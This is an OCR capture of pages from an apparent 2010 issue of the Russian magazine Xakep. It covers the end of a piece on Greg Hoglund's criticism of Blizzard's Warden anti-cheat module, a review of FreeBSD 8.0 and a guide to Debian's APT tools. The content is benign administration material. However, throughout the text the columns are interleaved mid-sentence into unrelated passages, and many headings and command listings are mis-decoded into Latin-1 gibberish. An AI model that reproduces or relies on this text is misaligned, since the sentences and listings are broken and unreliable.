ОБЛОЖКА «ROOTKITS, SUBVERTING THE WINDOWS KERNEL»

В целом, очень интересное чтиво ничая, остаться необнаруженным.


ОБЛОЖКА РУССКОГО ИЗДАНИЯ ПЕРВОЙ КНИГИ ХОГЛАНДА — «EXPLOITING о поисках уязвимостей и возмож- Текст изобилует актуальным кодом
SOFTWARE» ностях взлома различных ммо. и множеством идей, плюс, авторы
Конечно, одним только World of очень серьезно подошли к вопросу
вполне могут ею «злоупотребить». благо, мониторит адреса людей, с Warcraft дело не ограничилось, права и вопросу зарабатывания
Помимо этого Хогланд пришел и к которыми ты общаешься, следит за например, Хогланду по душе еще и денег на продаже виртуальных
предметов. Читерство в игре уго-

ÕÎÃËÀÍÄ ÄÎÂÎËÜÍÎ ÄÎËÃÎ ÁÈËÑß ÍÀÄ ловно наказуемым деянием пока


не является :).

ÐÅÀËÈÇÀÖÈÅÉ ÒÅÕÍÈÊÈ ÎÁÕÎÄÀ ÑÈÑÒÅÌÍÛÕ Стоит отметить, что Хогланд и


МакГроу осветили этот вопрос

ÌÅÕÀÍÈÇÌÎÂ ÇÀÙÈÒÛ WINDOWS. одними из первых — книга вышла


в свет в 2007 году, а индустрия
онлайновых игр пока очень
другому, не менее забавному, вы- тем, какие сайты ты посещаешь и такие проекты, как Asheron’s Call II, молода, и не так много экспертов
воду — Warden оказался довольно- какие программы используешь... EVE Online и Vanguard. по совместительству являются лю-
таки туп. Например, если написать В Blizzard, впрочем, отреагиро- Из книжки можно почерпнуть бителями поиграть. К сожалению,
простенькое приложение-кальку- вали довольно меланхолично, немало нового о самых разных тех- Exploiting Online Games на русский
лятор, назвать его «WoW!Inmate» заявив, что ничего незаконного никах читерства и о том, как, жуль- язык пока не переводилась. z
(название одного известного Warden не делает, а о возможной
читерского мода), и запустить этот слежке за пользователем, факти-
калькулятор одновременно с World чески, черным по белому сказано
of Warcraft, то... вуаля, ты будешь в пользовательском соглашении.
забанен, как злостный читер! Хогланд, однако, так просто от
Словом, Хогланд назвал по- проблемы не отступился. Посвя-
ведение модуля похожим на тив теме безопасности онлайно-
полиморфный вирус, обратился вых игр добрых несколько лет, он
в правозащитную организацию в соавторстве с Гари МакГроу на-
Electronic Frontier Foundation и дал писал и выпустил книгу «Взлом
немало интервью и комментариев онлайновых игр» (Exploiting
на эту тему. В общем-то, действи- Online Games), очень много вни-
тельно не слишком приятно, когда мания и места в которой уделено
софт, пусть даже работающий во именно WoW.

070
XÀÊÅÐ 01 /133/ 10
Реклама
UNIXOID
ЕВГЕНИЙ ЗОБНИН ZOBNIN@GMAIL.COM

802 x LAN

INTERNET Mech STA 1


Mech STA 4
Mech STA 2

Mech STA 3

Mech STA 5
Mech STA 6 Mech STA 8

Mech STA 7
Mech STA 9

×åðòåíîê
802 x LAN

èç òàáàêåðêè
Äåòàëüíûé îáçîð FreeBSD 8.0
Не успели мы нарадоваться выпуску семерки, как разработчики
FreeBSD уже готовы обрадовать нас восьмой версией своей ОС, которая
хоть и не несет в себе глобальных изменений, но вполне способна
порадовать поклонников множеством исправлений и доработок, которых
ждали в течение многих лет.
ленных (Split) и HS ISOC транзакций, благодаря
Релиз 8.0 не так богат на нововведения, как ЯДРО чему появилась возможность использования
его предшественники, что совсем не умень- Одна из целей выпуска 8.0 состояла в том, скоростных аудиоустройств с интерфейсом
шает его значимость. Именно в восьмерке чтобы позволить FreeBSD работать внутри USB на современных USB-хабах и возможность
исправлены те проблемы, за которые FreeBSD инфраструктуры облачных вычислений Amazon создания драйверов для высокоскоростных
причисляли к анахроничным, отстающим ОС. EC2. Для этого в дерево исходных текстов web-камер. Теперь полностью поддержи-
Теперь FreeBSD не уходит в панику во время была добавлена поддержка ВМ Xen последних вается USB на встраиваемых устройствах,
извлечения USB-флешки, обладает сущест- версий, которая позволяет 32-битной редакции реализована поддержка режима USB gadget,
венно переработанной и улучшенной системой FreeBSD работать внутри Xen-окружения улучшен алгоритм сброса содержимого кэшей и
«песочниц» (Jails v2), работает в качестве гостя (domU). Поддержка dom0, позволяющая ОС буферов, появился механизм автоопределения
в Xen-окружениях последних версий, обладает быть хостом для других ОС, к сожалению, пока загрузочных USB-дисков. Добавлена утилита
переработанным высокопроизводительным не реализована. usbconfig.
SMP-планировщиком задач, поддерживает USB-стек был полностью переработан и избав- Решена одна из самых серьезных проблем
NFSv4, может загружаться с GPT-разделов, лен от многих проблем. Теперь это полностью FreeBSD на настольных машинах: некоррект-
поддерживает технологию защиты от срыва масштабируемый на все ядра процессора код, ная обработка факта извлечения USB-накопи-
стека ProPolice, позволяет использовать лишенный глобальных блокировок (хотя неко- теля без размонтирования файловой системы
локаль UTF-8 в консоли, может выступать хост- торые драйвера еще не переписаны). Добавлен (что зачастую приводило к панике ядра). Тыся-
системой для VitrualBox 3.x и многое, многое уровень совместимости с USB-подсистемой чи пользователей отправили баг-репорты об
другое. Но обо всем по порядку. Linux. Реализована полная поддержка разде- этой проблеме, тысячи троллей сочинили сотни

072 XÀÊÅÐ 01 /133/ 10


ние разработчиков мощнейший инструмент
трассировки ядра и процессов, включающий в
себя специальный язык. Пока для FreeBSD ре-
ализована только возможность отладки ядра,
в то время как реализация функции отладки
процессов отложена на некоторое время.
Слой эмуляции текстовых терминалов (TTY
layer), используемый для прямой коммуника-
ции пользователя с ОС (эмуляция терминала,
в котором запускается командный интер-
претатор), был переработан: код избавлен от
глобальных блокировок, увеличена произ-
водительность, произведена оптимизация,
переработан механизм буферизации. Это один
из самых древних компонентов ядра FreeBSD
(20-25 лет!), к которому не притрагивались в
течение долгого времени.
Приветствие FreeBSD 8.0 Драйвер консоли syscons(4), отвечающий
за работу с видеоадаптером и клавиатурой и
предоставляющий пользователю виртуальный
анекдотов, десятки хакеров предлагали свои увеличивается, а риск промахов уменьшается. терминал, был улучшен и теперь полностью
багфиксы, но дело не сдвигалось с мертвой Лимит памяти ядра, составляющий 2 Гб, был поддерживает UTF-8. Это значит, что FreeBSD
точки. Корни бага скрывались глубоко внутри увеличен до 512 Гб для архитектуры AMD64. 8.0 «говорит на юникоде» не только в иксах, но
подсистемы VFS, которая требовала глобаль- Благодаря этому файловая ZFS теперь не и в «голой» консоли. Код основан на библио-
ной переработки и глубокого переосмысления. засыпает пользователей сообщениями о теке libteken, реализующей эмуляцию vt100/
В конце концов, FreeBSD Foundation просто нехватке памяти и показывает более высокие xterm/UTF-8 для виртуальных терминалов,
купила разработчика по имени Edward Tomasz характеристики производительности. работающих через драйвер консоли syscons.
Napierala, который сделал всю грязную работу «Вес» нитей ядра был значительно снижен.
и заставил ядро реагировать правильно. Нити, используемые, например, для обработки СЕТЕВОЙ СТЕК
Подсистема «тюрем» (Jails), позволяющая за- исключений или обслуживания устройств, В сетевой стек был добавлен код виртуали-
пирать процессы в изолированные песочни- обладают гораздо меньшим количеством зации. Теперь ядро способно поддерживать
цы, была существенно переработана. Теперь выделенных ресурсов, и ядро потребляет сразу несколько состояний сетевого стека
тюрьма может иметь сразу несколько IP-адре- меньше памяти. одновременно, благодаря чему «тюрьмы»
сов (или не иметь их вообще), поддерживает С выходом 8.0 файловая система procfs(4) (jail) могут быть абсолютно независимы друг от
протоколы IPv6 и SCTP, может быть «вло- (обычно монтируемая к каталогу /proc) объяв- друга в сетевом плане, включая обособленные
женной» в другую тюрьму (можно создавать ляется устаревшей. Вместо нее рекомендуется брандмауэры, виртуальные сетевые интерфей-
иерархическую систему безопасности), а также использовать новую утилиту procstat(1) и сы, лимиты пропускной способности, таблицы
привязанной к конкретному процессору/ядру. библиотеку libprocstat(3), которые позволяют маршрутизации и конфигурации IPsec. Пока
Добавлена новая команда ядерного отладчика получить о процессах такие сведения, как: это экспериментальные и не рекомендованные
DDB «show jails». аргументы командной строки, информацию о к применению возможности, которые получат
Во FreeBSD 8.0 включена новая версия опти- файловых дескрипторах, нитях, стеке, занима- статус стабильных в следующих релизах.
мизированного для SMP-систем планиров- емой виртуальной памяти и многом другом. В дополнение к виртуализации сетевого стека
щика процессов ULE 3.0. Улучшен алгоритм Новая версия ОС получила механизм исследо- восьмерка получила поддержку множест-
распределения процессов и потоков по вания последствий сбоя ядра под названием венных таблиц маршрутизации (Forwarding
процессорам, повышена производительность, TextDumps. После «ухода ядра в панику» Information Bases, FIBs), которые позволяют
появилась возможность привязки Jail-окру- происходит не только запись полного дампа организовать так называемый «policy based
жений к конкретным ядрам процессора. памяти ядра на диск, но и автоматическое routing», когда путем определения правил к
Теперь FreeBSD поддерживает так называ- извлечение из него наиболее важной инфор- пакету может быть применена альтернатив-
емые супер-страницы памяти (superpages), мации, ее упаковка в tar-архив и удаление ная таблица маршрутизации. Это может быть
благодаря чему производительность многих оригинального дампа. Механизм позволяет использовано, например, в Jail-окружениях.
приложений может быть существенно повы- существенно снизить расходы дисковой Во FreeBSD 8.0 добавлена поддержка беспро-
шена (до 30%). Супер-страницы поддержи- памяти, используемой для хранения дампов, водных mesh-сетей, описанных в стандарте
ваются почти всеми современными процес- и повышает скорость разработки и отладки 802.11s. В отличие от обычной сетевой тополо-
сорами семейства x86 и позволяют буферу ядра. гии, предполагающей наличие центральной
ассоциативной трансляции (Translation Система отладки и трассировки DTrace нако- точки доступа (Access Point, AP), mesh-сети
lookaside buffer, TLB) ссылаться на очень нец окончательно интегрирована во FreeBSD. выглядят как ad-hoc сети (децентрализован-
большие страницы физической памяти (4 Мб). Dtrace была разработана Sun Microsystems ные беспроводные сети, не имеющие постоян-
Как следствие, зона охвата TLB существенно для ОС Solaris и предоставляет в распоряже- ной структуры) без центрального узла, который
может упасть и нарушить связь всех узлов.
Код механизма BPF (Berkeley Packet Filter),
ÍÅ ÒÎËÜÊÎ ÍÀ CD используемого для захвата и вставки пакетов
В дополнение к установочным CD и DVD, FreeBSD 8.0 распространяется и в виде установочно- из/в сетевого стека, был изменен и теперь
го образа для USB-флешек, для копирования которого достаточно выполнить такую команду: производит меньшее количество операций
копирования памяти между ядром и прило-
# dd if=8.0-amd64-memstick.img of=/dev/da0 bs=10240 conv=sync жением, что в некоторых случаях повышает
производительность.

XÀÊÅÐ 01 /133/ 10 073


UNIXOID

Представительство FreeBSD в
Сети

Система управления деревом портов была


модифицирована и теперь поддерживает па-
раллельную сборку приложений, что позволяет
задействовать все имеющиеся ядра процес-
сора.
FreeBSD теперь полностью поддерживает все
модели субноутбуков ASUS EeePC. Работают
Рабочий стол беспроводные карты, High Definition Audio
(snd_hda), тачпад, полностью реализован ре-
жим засыпания, контроль за температурой.
Восьмерка включает код переработанного
ÏÐÎÏÎËÈÑ ÄËß ÏÐÅÄÎÒÂÐÀÙÅÍÈß ÀÒÀÊ ÑÐÛÂÀ ÑÒÅÊÀ звукового драйвера HDA (High Definition Audio),
ProPolice — патч для GCC, с помощью которого переопределяются объявления локальных который более полно соответствует специ-
переменных и добавляются дополнительные проверки во время выполнения программ. фикациям UAA (Universal Audio Architecture),
При обнаружении переполнения проблемный процесс ликвидируется и в системный включает более широкий спектр кодеков,
журнал производится запись типа «stack overflow in function XXX». Веб-страничка проекта: работает в многоканальном режиме, обладает
www.research.ibm.com/trl/projects/security/ssp. расширенными возможностями конфигуриро-
вания и полностью поддерживает временное
засыпание системы (suspend/resume).
Код реализации протокола NFS наконец-то используется по умолчанию для работы с раз- Среди более мелких изменений можно отме-
обрел поддержку четвертой версии, которая личными схемами разметки диска (MBR, GPT, тить:
имеет повышенную производительность и BSD и т.д.) Это решает некоторые проблемы за- • ПО виртуализации VirtualBox 3.X было полно-
гораздо более высокий уровень безопасности грузки FreeBSD и делает дисковую подсистему стью портировано на FreeBSD.
(ACL, механизм аутентификации, использую- более гибкой (например, поддерживается до 26 • Реализована поддержка RDMA (Remote
щий Kerberos). Также были обновлены клиенты BSD-разделов в рамках одного слайса). Кроме DMA).
и серверы протоколов NFSv2/3. того, восьмерка без проблем загружается с • Возможность привязки обработчиков IRQ и
GPT-разделов (новая схема разметки диска, потоков к указанным процессорам/ядрам.
ПОДСИСТЕМА которая должна прийти на смену теперешней). • Количество групп, к которым может прина-
ХРАНЕНИЯ ДАННЫХ длежать пользователь (NGROUPS), увеличено
FreeBSD 8.0 получила новый AHCI-драйвер, ПЕСТРАЯ ЛЕНТА до 1024.
реализованный как часть подсистемы CAM Мир, ядро и ПО из портов теперь собираются • OpenBSM был обновлен до версии 1.1.
(Common Access Method). Драйвер поддержи- с помощью GCC с активированной системой за- • Утилита makefs была портирована из NetBSD.
вает несколько новых возможностей (таких, щиты от срыва стека (Stack-Smashing Protector, • Реализована поддержка сегментов SYSVSHM
как NCQ), и может быть сконфигурирован с в прошлом ProPolice). Система способна об- больше, чем 2 Гб на AMD64.
помощью утилиты camcontrol. В будущем наружить большинство ошибок переполнения • Новая, более «чистая», реализация протоко-
CAM планируется превратить в стандартный буфера с помощью проверки стека вызовов на ла ARP.
фреймворк для всевозможных протоколов и изменение. Если изменение имело место быть, • Обновление кода маршрутизации для лучшей
транспортов, используемых для доступа к приложение убивает само себя. поддержки SMP-систем.
устройствам хранения данных.
Менеджер логических томов gvinum, со-
зданный как замена vinum в новых версиях
FreeBSD, был обновлен до версии 2 и обрел ÓÏÐÀÂËÅÍÈÅ ÒÀÁËÈÖÀÌÈ ÌÀÐØÐÓÒÈÇÀÖÈÈ
статус стабильного и полностью готового к Число таблиц маршрутизации можно задать во время сборки ядра через опцию «options
использованию решения. Исправлены многие ROUTETABLES=N». Для выбора таблицы можно использовать брандмауэр:
проблемы, добавлена новая функциональ-
ность, сохранена совместимость с gvinum 1 setfib N ip from any to any
и vinum. Gvinum менее гибок, чем решения count ip from any to any fib N
на базе набора стандартных GEOM-классов
(gmirror и gstripe), но придется по вкусу ветера- Или утилиту setfib:
нам и любителям решений все-в-одном (под-
держивается JBOD, RAID 0, RAID 1 and RAID 5). $ setfib -2 ping host.com
GEOM-класс GEOM_PART (gpart) теперь

074 XÀÊÅÐ 01 /133/ 10


Так работает виртуализация сетевого стека

• Поддержка режима виртуальных точек доступа (VAP,


«virtual WiFi») в беспроводных сетях.
• Многочисленные улучшения производительности на
SMP-системах.
• Поддержка платформы Intel Nehalem / Core i7.
• Обновление кода поддержки ACPI. UTF-8 во всей красе
• Утилита tcpdump обновлена до версии 4.0.

ZFS 13
Код ZFS был доработан, избавлен от многих проблем и ПЛАНЫ НА БУДУЩЕЕ
обновлен до версии 13. Этот шаг позволил снять с ZFS статус Не все планируемые нововведения попали в релиз FreeBSD INFO
экспериментальной разработки и внес множество измене- 8.0, за бортом остались два интереснейших проекта, кото-
ний, среди которых: рые почти готовы, но не могут быть интегрированы в код
• Поддержка загрузки с ZFS. из-за некоторых проблем.
• Частичная поддержка chflags(2). Первый из них нацелен на получение возможности сборки info
• Начальная поддержка ACL формата NFSv4. ядра с поддержкой стека протоколов IPv6, но без поддержки Некоторые из
• Поддержка расширенных атрибутов. IPv4. Это позволит заранее подготовить FreeBSD к полному описанных нововве-
• Поддержка Sparse volumes, то есть массивов ZVOL, кото- переходу на новый стек протоколов, сделать сетевой код дений уже были пор-
рые не резервируют место в пуле. ОС более чистым и модульным, а также получить произво- тированы в FreeBSD
• Рядовые пользователи теперь могут получить права на дительное и компактное IPv6-ядро. К сожалению, огром- 7, поэтому необходи-
создание ФС, снапшотов и т.д. ный объем работ не позволил завершить проект к выходу мости в переходе на
• С помощью переменной vfs.zfs.super_owner можно восьмерки. восьмерку может и не
регулировать, сможет ли рядовой пользователь выполнять Второй, гораздо более приоритетный, проект ставит своей возникнуть.
привилегированные операции над файлами ФС. целью отказаться от использования компилятора GCC
• Возможность использования дополнительных дисков для для сборки компонентов FreeBSD и портов. Эта идея уже
кэширования. Поднимает производительность на операци- многие годы занимала умы разработчиков всех веток BSD,
ях чтения. а после перехода GCC на использование GPLv3 проблема WARNING
• Возможность использования дополнительных дисков для стала еще более острой (многие компании, применяющие
Intent Log ZFS, чтобы ускорить операции типа fsync(2). FreeBSD, не могут использовать ПО, опубликованное под
• Может быть выбран один из режимов отказа, действующий лицензией GPLv3). Как результат, родился проект по пере-
при выходе дисков из строя: panic — паника ядра при ошиб- воду FreeBSD на связку LLVM + CLANG, распространяемых warning
ке записи, wait — ожидание появления диска, continue — под лицензией BSD. В качестве побочного эффекта этот GEOM_PART интер-
обработка запросов чтения и отказ в запросах записи. шаг дает прирост производительности (LLVM существен- претирует таблицы
• Новые свойства: refquota, refreservation. Аналоги quota но лучше оптимизирует код). К моменту выхода 8.0 ядро разделов не так, как
и reservation без учета места, занимаемого дочерними ФС, и большинство компонентов базовой системы уже могли его предшественни-
клонами и снапшотами. быть собраны с помощью нового компилятора, однако ки, поэтому будь осто-
множество незакрытых проблем не позволили проекту рожен при обновле-
попасть в новый релиз. нии: имена разделов
могут измениться.
ÊÀÊ ÎÁÍÎÂÈÒÜÑß ÄÎ FREEBSD 8.0 ПОСТСКРИПТУМ
# freebsd-update upgrade -r 8.0-RELEASE В каком-то смысле FreeBSD 8.0 подводит итог всему,
// îáíîâëåíèå ÿäðà что было сделано после выхода пятерки. Ядро стало
# freebsd-update install по-настоящему масштабируемым, ZFS обрела статус
# shutdown -r now стабильной, NFS-клиент и сервер теперь поддержи-
// îáíîâëåíèå «ìèðà» вают четвертую версию протокола; были исправлены
# freebsd-update install наболевшие ошибки и многие проблемы прошлых
// óäàëåíèå îñòàâøèõñÿ êîìïîíåíòîâ версий; поддержка оборудования расширилась до
# freebsd-update install более чем приемлемого уровня. Если ты никогда
# shutdown -r now не пробовал FreeBSD, сейчас лучшее время, чтобы
сделать это. z

XÀÊÅÐ 01 /133/ 10 075


UNIXOID
МАКСИМ «HATCHET» ПОЛЕВОЙ MAKS.HATCHET@YANDEX.RU

APT è âñå, âñå, âñå


Èçó÷àåì âîçìîæíîñòè ìåíåäæåðà ïàêåòîâ
APT è ñîïóòñòâóþùèõ ïðîãðàìì
Debian внес в мир Linux массу положительных нововведений, многие из
которых были приняты и другими дистрибутивами. Самым значительным
усовершенствованием Debian стала система управления пакетами APT.
После ее выпуска все остальные дистрибутивы превратились в устарев-
ший хлам. Сегодня APT сложна, умна, гибка и скрывает от непосвящен-
ного линуксоида множество секретов.

ПРОДВИНУТАЯ СИСТЕМА apt-ftparchive — ñîçäàåò èíäåêñíûå достаточно всего шести нижеприведенных


УПРАВЛЕНИЯ ПАКЕТАМИ ôàéëû команд:
Сама по себе APT (Advanced Packaging Tool) apt-get — óñòàíàâëèâàåò, óäàëÿåò,
не является системой управления пакетами îáíîâëÿåò ñïèñîê ïàêåòîâ è ñàìè ïà- ОСНОВНЫЕ КОМАНДЫ APT
в прямом смысле этого слова. Все действия êåòû, öåíòðàëüíàÿ APT-óòèëèòà apt-cache search ìàñêà — ïîèñê ïà-
по распаковке, регистрации в системе и apt-key — óïðàâëÿåò êëþ÷àìè àóòåíòè- êåòà
ведению базы пакетов выполняют утилиты ôèêàöèè, èñïîëüçóåìûìè äëÿ ïðîâåðêè apt-cache show ïàêåò — ïðîñìîòð èí-
пакета dpkg, в то время как утилиты APT ïîäëèííîñòè èñòî÷íèêîâ ïàêåòîâ ôîðìàöèè î ïàêåòå
представляют собой обертку, с помощью ко- apt-secure — ïðîâåðÿåò ïîäëèííîñòè apt-get install ïàêåò — óñòàíîâêà
торой осуществляется поиск пакетов, сверка öèôðîâîé ïîäïèñè ïàêåòîâ apt, âõîäÿ- ïàêåòà
контрольных сумм, выкачивание из репози- ùèõ â ñîñòàâ äèñòðèáóòèâà è ðåïîçè- apt-get remove ïàêåò — óäàëåíèå ïà-
тория, разрешение зависимостей, а также òîðèåâ êåòà
ряд других действий. APT включает в себя apt-sortpkgs — ñîðòèðóåò èíäåêñíûå apt-get update — îáíîâëåíèå êýøà äî-
следующий набор утилит: ôàéëû ñòóïíûõ ïàêåòîâ
apt-get upgrade — îáíîâëåíèå âñåõ
УТИЛИТЫ ПАКЕТА APT Утилиты опираются на следующие файлы ïàêåòîâ
apt-cache — ìàíèïóëèðóåò êýøåì äî- конфигурации:
ñòóïíûõ ïàêåòîâ, îáû÷íî èñïîëüçóåò- Последние две команды обычно выполняются
ñÿ äëÿ ïîèñêà ïàêåòà è/èëè ïîëó÷åíèÿ КОНФИГУРАЦИОННЫЕ ФАЙЛЫ APT одна за другой, в результате чего переустанав-
èíôîðìàöèè î íåì /etc/apt/sources.list — ñïèñîê èñ- ливаются все пакеты, для которых в репозито-
apt-cdrom — ïîçâîëÿåò äîáàâèòü CD/ òî÷íèêîâ ïàêåòîâ (ðåïîçèòîðèåâ) рии доступны новые версии. Если же необходи-
DVD-äèñê â êà÷åñòâå èñòî÷íèêà ïàêå- /etc/apt/apt.conf — îñíîâíîé ôàéë мо обновить только указанный пакет, то после
òîâ (ðåïîçèòîðèÿ) êîíôèãóðàöèè APT «apt-get update» следует выполнить команду
apt-config — ÷èòàåò çíà÷åíèÿ îïöèé, /etc/apt/preferences — ôàéë ïðåäïî÷- «apt-get install пакет».
çàäàííûõ â êîíôèãóðàöèîííîì ôàéëå / òåíèé, óïðàâëÿåò òåì, êàêàÿ âåðñèÿ Дистрибутив Ubuntu сводит процесс «обще-
etc/apt/apt.conf, èñïîëüçóåòñÿ äðó- ïàêåòà áóäåò óñòàíîâëåíà â ñëó÷àå ния» с APT-утилитами к кликанью по галоч-
ãèìè APT-óòèëèòàìè íàëè÷èÿ â ðåïîçèòîðèè ñðàçó íåñêîëü- кам графического интерфейса. В нем есть
apt-extracttemplates — èçâëåêàåò êèõ âåðñèé собственный, предельно простой менеджер
êîíôèãóðàöèîííûå ôàéëû DebConf èç пакетов (так и называется — Package Manager),
ïàêåòîâ, èñïîëüçóåòñÿ äðóãèìè APT- APT проста и понятна в использовании. запускающийся по cron’у менеджер обновле-
óòèëèòàìè Среднестатистическому пользователю обычно ний Update Manager, графический установщик

076 XÀÊÅÐ 01 /133/ 10


$ sudo apt-key adv --keyserver
ñåðâåð-ñåðòèôèêàöèè --recv-keys
ID-êëþ÷à

которая запрашивает ключ напрямую у сер-


вера сертификации (для Ubuntu это keyserver.
ubuntu.com). Именно так большинство сто-
ронних разработчиков распространяют свое
ПО для дистрибутивов Debian/Ubuntu (при
этом остальные просто выкладывают пакеты
и их контрольные суммы). Например, зайдя
на страничку интересующего тебя проекта
на хостинге launchpad.net и нажав на ссылку
Technical details about this PPA, ты увидишь
строку, которую необходимо добавить в /etc/
apt/sources.list. В Signing key: будет указан ID
Aptitude имеет действительно удобный интерфейс ключа.
3. Обновить кэш доступных пакетов:

вручную загруженных deb-пакетов GDebi и «дистрибутив» указывается имя дистрибутива, $ sudo apt-get update
более мощная графическая надстройка над для которого собраны пакеты. Для Debian имя
APT-утилитами Synaptic. может быть одним из stable, oldstable, unstable, 4. Установить пакет, используя команду «apt-
Между тем, APT гораздо сложнее и гибче, testing, в то время как в случае Ubuntu следует get install пакет».
чем это может показаться на первый взгляд. указывать только конкретное наименование Многие девелоперы помещают ссылку на
Поэтому в следующих разделах мы рассмот- дистрибутива (например, jaunty), а также репозиторий и ID его ключа прямо в deb-пакет,
рим несколько не совсем типичных приемов ее различные обозначения на его основе поэтому после скачивания пакета, установки и
использования. (например, jaunty-updates, jaunty-backports, выполнения команды «apt-get update && apt-
jaunty-security). Надо сказать, что APT совсем get upgrade» пакеты будут обновлены вместе с
СТОРОННИЕ ИСТОЧНИКИ не против того, чтобы смешивать пакеты их собратьями, перечисленными в sources.list.
ПАКЕТОВ различных дистрибутивов на одной системе, В частности, так распространяются браузеры
Помимо головного репозитория, содержащего но за последствия в этом случае будешь отве- opera и альфа-релиз google chrome.
все пакеты от разработчиков дистрибутива, чать только ты. Компонент обычно носит имя Репозиторий, располагающийся на ком-
существует и масса других источников паке- main, contrib или non-free для Debian и main, пакт-диске, добавить в sources.list намного
тов, которые могут содержать стороннее ПО, universe, multiverse, partner и restricted для проще. Для этого есть специальная команда
недоступное из официального репозитория, Ubuntu. Все это имена различных репозито- apt-cdrom. Ты просто вставляешь CD в привод
предоставлять более свежие его версии или риев пакетов, которые обособлены только для и выполняешь команду:
просто быть более быстрым зеркалом. Репо- того, чтобы разделить пакеты на основе каких-
зиторием может быть и обычный каталог на либо критериев. Например, main — это пакеты, $ sudo apt-cdrom add
твоем жестком диске и компакт-диск. собираемые группой разработчиков Ubuntu/
Чтобы научить APT работать со сторонними Debian. На качество ПО, содержащегося в ХИТРОСТИ И НЕСТАНДАРТ-
репозиториями, достаточно выполнить четыре них, есть определенные гарантии, включая НЫЕ СИТУАЦИИ
простых действия: своевременные обновления и багфиксы, в то APT есть APT, удобна и проста, но иногда не
1. Добавить ссылку на репозиторий в файл / время как contrib и universe — это стороннее обойтись без ухищрений, о самых полезных из
etc/apt/sources.list в следующем формате: ПО, которое ты устанавливаешь на свой страх которых ты узнаешь из этого раздела.
и риск. 1. По умолчанию команда «apt-get remove»
deb uri äèñòðèáóòèâ [êîìïîíåíò1] 2. Добавить в apt keyring публичный ключ удаляет пакет полностью только в том случае,
[êîìïîíåíò2] [...] репозитория, используемый для удостове- если ни один из его файлов не был изменен
рения его подлинности и надежности. Ключ после установки, иначе измененные файлы
Поле uri — это адрес репозитория, который в можно получить любыми способами и доба- остаются нетронутыми. Естественно, конфи-
большинстве случаев является HTTP-адре- вить, выполнив команду «apt-key add ключ», гурационные файлы меняются почти всегда,
сом, но может быть и ссылкой на локальный но такой способ редко практикуется из-за поэтому apt-get оставляет после себя кучу
репозиторий (file:/root/repository), адресом неудобства. В подавляющем большинстве мусора, которую приходится убирать руками.
репозитория на FTP или SSH-сервере. В поле случаев ты будешь иметь дело с командой Команда «apt-get purge», выполненная вмес-
то «apt-get remove», решает эту проблему.
2. Любители ковыряния в системе, а также
ÏÎËÅÇÍÛÅ ÊÎÌÀÍÄÛ APT-CACHE системные администраторы, серверы кото-
apt-cache show пакет — детальная информация о пакете рых подверглись взлому, скорее всего,
apt-cache showpkg пакет — общая информация о пакете захотят вернуть пакеты к начальному
apt-cache depends пакет — список зависимостей пакета состоянию, в котором они находились до
apt-cache rdepends пакет — список обратных зависимостей (кому нужен указанный пакет) проведения манипуляций. Поможет в этом
команда:

XÀÊÅÐ 01 /133/ 10 077


UNIXOID

Получаем информацию о пакете с помощью apt-cache

$ sudo apt-get install --reinstall 4. Ты вручную наложил заплатку на файл одного 5. Как и любая система, обладающая сетевым
ïàêåò из системных пакетов и не хочешь, чтобы этот функционалом, APT позволяет использовать
пакет был обновлен (с уничтожением всех твоих прокси для доступа к репозиториям. Чтобы
3. Более низкоуровневые утилиты управления изменений) после вызова «apt-get upgrade». В задействовать эту возможность, пропиши в
deb-пакетами (такие, как dselect и dpkg) ведут этом случае тебе на помощь вновь придет спи- файл /etc/apt/apt.conf строку:
специальный список состояний пакетов, кото- сок состояний. Пакет может быть «заморожен»,
рый может использоваться для управления в результате чего apt-get откажется его обнов- Acquire::http::Proxy «http://xxx.
тем, какие пакеты должны быть установлены лять и пропустит: xxx.xx:yyyy»
или удалены в пакетном режиме (именно так
работает связка dselect + dpkg). Его же можно # echo -e "coreutils hold" | dpkg Где xxx.xxx.xx — имя твоего прокси, yyyy — порт.
использовать для многих других целей, напри- --set-selections 6. Обычно APT-утилиты запрашивают самую
мер, переноса конфигурации системы на дру- новую версию пакета из всех, что находятся в
гую машину. Выполни следующую команду: Принудительно обновить пакет можно с его кэше, поэтому если ты добавил в sources.
помощью указания флага '-u' при вызове list различные экспериментальные и unstable-
$ dpkg --get-selections > file apt-get. репозитории, то после обновления получишь

Перенеси файл на другую машину и выполни


на ней две команды: ÑËÎÂÀÐÜ APT
# cat file > dpkg --set-selections Пакет — программа, библиотека, исходники или любые другие файлы, а также их метадан-
# apt-get dselect-upgrade ные, упакованные в особым образом сформированный архив.
Репозиторий — место хранения deb-пакетов.
В систему будут добавлены все пакеты систе- Кэш доступных пакетов (или просто кэш) — файл, в котором кэшируется информация обо
мы-источника. Чтобы файл состояний пакетов всех пакетах, доступных из источников, перечисленных в /etc/apt/sources.list. Кэш обнов-
также содержал информацию о том, какие ляется во время каждого вызова команды «apt-get update».
пакеты следует удалить из системы, добавь Индексный файл — головной файл репозитория, содержащий название, версию, размер,
символ «\*» после аргумента ‘--get-selections’. краткое и полное описание и зависимости для каждого пакета. Носит имя Packages.gz в
Список состояний не содержит версии паке- случае бинарного репозитория и Sources.gz — для репозитория исходных текстов. Созда-
тов, это можно использовать после установки ется с помощью утилит pkg-scanpackages и dpkg-scansources.
более новой версии дистрибутива для приве- Apt keyring (дословно: связка ключей apt) — хранилище ключей, удостоверяющих подлин-
дения его к требуемому состоянию. ность источников пакетов (репозиториев).

078 XÀÊÅÐ 01 /133/ 10


Список состояний пакетов можно использо-
вать для автоматической установки пакетов

Где релиз — это oldstable, stable, unstable, testing или


experimental для Debian или имя релиза для Ubuntu.
Теперь, в случае необходимости установить пакет из
указанного дистрибутива, просто пропиши его имя после
аргумента ‘-t’ при вызове apt-get:

$ sudo apt-get -t unstable install ïàêåò

7. Все полученные apt-get deb-пакеты хранятся в каталоге /


var/cache/apt/archives, а это значит, что в случае переуста-
новки системы ты можешь скопировать содержимое каталога
на другой диск/раздел, а после восстановить его и сэконо-
мить время/трафик на установке пакетов. Кроме того, это по
сути снапшот твоей установленной системы (той ее части,
которую ты установил сам), который можно отнести к другу
(вместе с описанным в третьем пункте списком состояний) INFO
или, при ненадобности, удалить для освобождения места.
8. Удаленный снапшот системы, описанный в предыдущем
пункте, легко восстанавливается с помощью приведенной
ниже конструкции: info
• Advanced Packaging
$ sudo dpkg --get-selections | grep -v Tool — высокоуровне-
"deinstall" | awk '{print $1}' | xargs dpkg- вый инструмент для
repack работы с пакетами.

9. Кроме бинарных пакетов, репозитории Debian/Ubuntu содер- • APT был разработан


жат и пакеты с исходными текстами приложений, которые могут для дистрибутива
быть получены и собраны с использованием команды: Debian и использова-
ния совместно
